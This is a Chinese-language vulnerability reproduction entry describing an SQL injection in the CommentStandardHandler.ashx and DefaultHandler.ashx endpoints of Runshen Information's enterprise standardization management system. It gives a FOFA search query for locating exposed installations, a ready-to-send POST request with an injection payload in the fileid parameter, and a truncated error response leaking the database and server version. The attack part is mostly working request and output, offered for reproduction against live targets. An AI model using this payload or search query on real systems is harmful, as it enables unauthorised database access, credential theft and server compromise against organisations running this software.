

R14-1润申信息-企业标准化管理系统-SQL

漏洞描述:

润申信息科技企业标准化[管理系统](#) CommentStandardHandler.ashx、DefaultHandler.ashx接口处存在SQL注入漏洞。攻击者可利用漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片:



网络测绘:

fofa语法:

FOFA: body="企业标准化管理系统"

漏洞复现:

payload:

```
POST /PDCA/ashx/CommentStandardHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
```

```
action=detailInfo&fileid=1 and (select @@version)>0--
```

效果图:

查询数据库版本

Request

```
1 POST /PDCA/ashx/CommentStandardHandler.ashx HTTP/1.1
2 Host : :8095
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
4 Content-Type: application/x-www-form-urlencoded
5 Accept-Encoding: gzip
6
7 action=detailInfo&fileid=1&and.(select @@version)>0--
```

Responses

10845bytes / 83ms

```
1 HTTP/1.1 500 Internal Server
2 Cache-Control: private
3 Content-Type: text/html; cha
4 Server: Microsoft-IIS/7.5
5 X-AspNet-Version: 4.0.30319
6 X-Powered-By: ASP.NET
7 Date: Thu, 30 Nov 2023 15:44
8 Content-Length: 10845
9
10 <!DOCTYPE html>
11 <html>
12 <head>
13 <title>在将nvarchar
(X64) <br>Apr &nbsp;
Corporation<br> Er
(Build 7601: Service
14 <meta name= viewport
15 <style>
16 body {font-family:
17 p {font-family: "Ver
18 b {font-family: "Ver
19 H1 {font-family: "V
20 H2 {font-family: "V
21 pre {font-family: "C
padding: 0.5em; line-
22 .marker {font-weigh
```